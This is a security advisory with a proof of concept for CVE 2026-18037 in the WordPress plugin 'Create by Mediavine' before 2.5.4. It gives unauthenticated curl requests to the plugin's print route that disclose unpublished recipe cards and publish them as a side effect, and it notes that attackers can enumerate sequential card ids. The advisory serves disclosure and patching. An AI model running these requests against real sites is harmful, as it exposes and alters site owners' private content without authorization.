Create by Mediavine < 2.5.4 – Unauthenticated Unpublished Content Disclosure and Publication | CVE 2026-18037

Description

The plugin does not perform an authorization check before rendering content over one of its public REST API routes, and that route additionally publishes the requested content as a side effect, allowing unauthenticated attackers to read unpublished content and to make it publicly available.

Proof of Concept

Prerequisites: the plugin is active and at least one Create Card exists that has never been published. Cards use small sequential integer ids. No account, cookie or nonce is required at any point.

1. Confirm the card is not served over a route that does gate on published state. Use a card id that has never been published:

curl -s "https://victim.example/wp-json/mv-create/v1/creations/13/published"
curl -s "https://victim.example/wp-json/mv-create/v1/creations/13/json_ld"

=> both return HTTP 404. Use these as the control rather than /creations/13, which on the affected versions serves the unpublished card itself and is a separate issue.

2. Request the print view of that same unpublished card, fully unauthenticated:

curl -s "https://victim.example/wp-json/mv-create/v1/creations/13/print"

=> HTTP 200. The response is the rendered print view of the unpublished card and contains its title, description, instructions, notes, author and yield.

3. The same request also changes the card's stored state from unpublished to published.

4. As a result, the routes that refused the card in step 1 now return it:

curl -s "https://victim.example/wp-json/mv-create/v1/creations/13/published"
curl -s "https://victim.example/wp-json/mv-create/v1/creations/13/json_ld"

Control: a second unpublished card that has not been requested through the print route stays unavailable on those routes, which shows the publication is caused by step 2 rather than by the card's own state.

An attacker enumerates cards by iterating the sequential ids.